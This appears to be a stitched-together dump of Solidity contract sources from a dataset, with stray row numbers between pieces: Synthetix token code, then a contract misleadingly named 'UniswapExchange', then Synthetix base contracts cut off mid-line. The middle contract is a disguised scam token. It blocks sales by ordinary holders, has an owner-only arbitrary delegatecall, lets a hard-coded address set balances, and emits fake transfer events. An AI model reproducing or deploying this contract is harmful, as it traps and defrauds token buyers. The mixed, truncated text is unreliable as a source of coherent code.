synthetixState; SupplySchedule public supplySchedule; uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit(); string constant TOKEN_NAME = "Synthetix Network Token"; string constant TOKEN_SYMBOL = "SNX"; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState, address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule, ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow ) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner) public { synthetixState = _synthetixState; exchangeRates = _exchangeRates; feePool = _feePool; supplySchedule = _supplySchedule; rewardEscrow = _rewardEscrow; escrow = _escrow; } function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } function addSynth(Synth synth) external optionalProxy_onlyOwner { bytes4 currencyKey = synth.currencyKey(); require(synths[currencyKey] == Synth(0), "Synth already exists"); availableSynths.push(synth); synths[currencyKey] = synth; } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } delete synths[currencyKey]; } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey)); } function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale"); for (uint8 i = 0; i < availableSynths.length; i++) { uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } function availableCurrencyKeys() internal view returns (bytes4[]) { bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length); for (uint8 i = 0; i < availableSynths.length; i++) { availableCurrencyKeys[i] = availableSynths[i].currencyKey(); } return availableCurrencyKeys; } function availableSynthCount() public view returns (uint) { return availableSynths.length; } function transfer(address to, uint value) public returns (bool) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(messageSender), "Insufficient balance"); _transfer_byProxy(messageSender, to, value, data); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { bytes memory empty; return transferFrom(from, to, value, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(from), "Insufficient balance"); _transferFrom_byProxy(messageSender, from, to, value, data); return true; } function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress == address(0) ? messageSender : destinationAddress, true ); } function synthInitiatedExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress ) external onlySynth returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress, false ); } function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { if (sourceAmount == 0) { return true; } require(sourceAmount > 0, "Source can't be 0"); bool result = _internalExchange( from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), false ); feePool.feePaid(sourceCurrencyKey, sourceAmount); return result; } function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } synths[destinationCurrencyKey].issue(destinationAddress, amountReceived); if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); feePool.feePaid("XDR", xdrFeeAmount); } synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived); emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress); return true; } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } synthetixState.setCurrentIssuanceData(messageSender, debtPercentage); if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } else { synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } function issueSynths(bytes4 currencyKey, uint amount) public optionalProxy { require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large"); _addToDebtRegister(currencyKey, amount); synths[currencyKey].issue(messageSender, amount); _appendAccountIssuanceRecord(); } function issueMaxSynths(bytes4 currencyKey) external optionalProxy { uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey); issueSynths(currencyKey, maxIssuable); } function burnSynths(bytes4 currencyKey, uint amount) external optionalProxy { uint debtToRemove = effectiveValue(currencyKey, amount, "XDR"); uint debt = debtBalanceOf(messageSender, "XDR"); uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey); require(debt > 0, "No debt to forgive"); uint amountToRemove = debt < debtToRemove ? debt : debtToRemove; _removeFromDebtRegister(amountToRemove); uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount; synths[currencyKey].burn(messageSender, amountToBurn); _appendAccountIssuanceRecord(); } function _appendAccountIssuanceRecord() internal { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender); feePool.appendAccountIssuanceRecord( messageSender, initialDebtOwnership, debtEntryIndex ); } function _removeFromDebtRegister(uint amount) internal { uint debtToRemove = amount; uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint delta; if (newTotalDebtIssued > 0) { uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued); delta = SafeDecimalMath.preciseUnit().add(debtPercentage); } else { delta = 0; } if (debtToRemove == existingDebt) { synthetixState.setCurrentIssuanceData(messageSender, 0); synthetixState.decrementTotalIssuerCount(); } else { uint newDebt = existingDebt.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } function maxIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey); return destinationValue.multiplyDecimal(synthetixState.issuanceRatio()); } function collateralisationRatio(address issuer) public view returns (uint) { uint totalOwnedSynthetix = collateral(issuer); if (totalOwnedSynthetix == 0) return 0; uint debtBalance = debtBalanceOf(issuer, "SNX"); return debtBalance.divideDecimalRound(totalOwnedSynthetix); } function debtBalanceOf(address issuer, bytes4 currencyKey) public view returns (uint) { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer); if (initialDebtOwnership == 0) return 0; uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry() .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(initialDebtOwnership); uint totalSystemValue = totalIssuedSynths(currencyKey); uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal() .multiplyDecimalRoundPrecise(currentDebtOwnership); return highPrecisionBalance.preciseDecimalToDecimal(); } function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; } else { return max.sub(alreadyIssued); } } function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } if (rewardEscrow != address(0)) { balance = balance.add(rewardEscrow.balanceOf(account)); } return balance; } function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { uint balance = tokenState.balanceOf(account); uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); if (lockedSynthetixValue >= balance) { return 0; } else { return balance.sub(lockedSynthetixValue); } } function mint() external returns (bool) { require(rewardEscrow != address(0), "Reward Escrow destination missing"); uint supplyToMint = supplySchedule.mintableSupply(); require(supplyToMint > 0, "No supply is mintable"); supplySchedule.updateMintValues(); uint minterReward = supplySchedule.minterReward(); tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward))); emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward)); feePool.rewardsMinted(supplyToMint.sub(minterReward)); tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(this, msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); } modifier rateNotStale(bytes4 currencyKey) { require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Fee address not allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier nonZeroAmount(uint _amount) { require(_amount > 0, "Amount needs to be larger than 0"); _; } event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress); bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)"); function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal { proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0); } }
0
189
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,806
pragma solidity 0.4.25; contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } contract Proxyable is Owned { Proxy public proxy; address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy, "Only the proxy can call this function"); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner, "This action can only be performed by the owner"); _; } event ProxyUpdated(address proxyAddress); } contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeDecimalMath { using SafeMath for uint; uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; uint public constant UNIT = 10 ** uint(decimals); uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals); function unit() external pure returns (uint) { return UNIT; } function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } function multiplyDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(y) / UNIT; } function _multiplyDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } function divideDecimal(uint x, uint y) internal pure returns (uint) { return x.mul(UNIT).div(y); } function _divideDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } contract State is Owned { address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } event AssociatedContractUpdated(address associatedContract); } contract TokenState is State { mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } contract ReentrancyPreventer { bool isInFunctionBody = false; modifier preventReentrancy { require(!isInFunctionBody, "Reverted to prevent reentrancy"); isInFunctionBody = true; _; isInFunctionBody = false; } } contract TokenFallbackCaller is ReentrancyPreventer { function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data) internal preventReentrancy { uint length; assembly { length := extcodesize(recipient) } if (length > 0) { recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data)); } } } contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller { using SafeMath for uint; using SafeDecimalMath for uint; TokenState public tokenState; string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint8 _decimals, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); callTokenFallbackIfNeeded(from, to, value, data); emitTransfer(from, to, value); return true; } function _transfer_byProxy(address from, address to, uint value, bytes data) internal returns (bool) { return _internalTransfer(from, to, value, data); } function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data) internal returns (bool) { tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value, data); } function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, 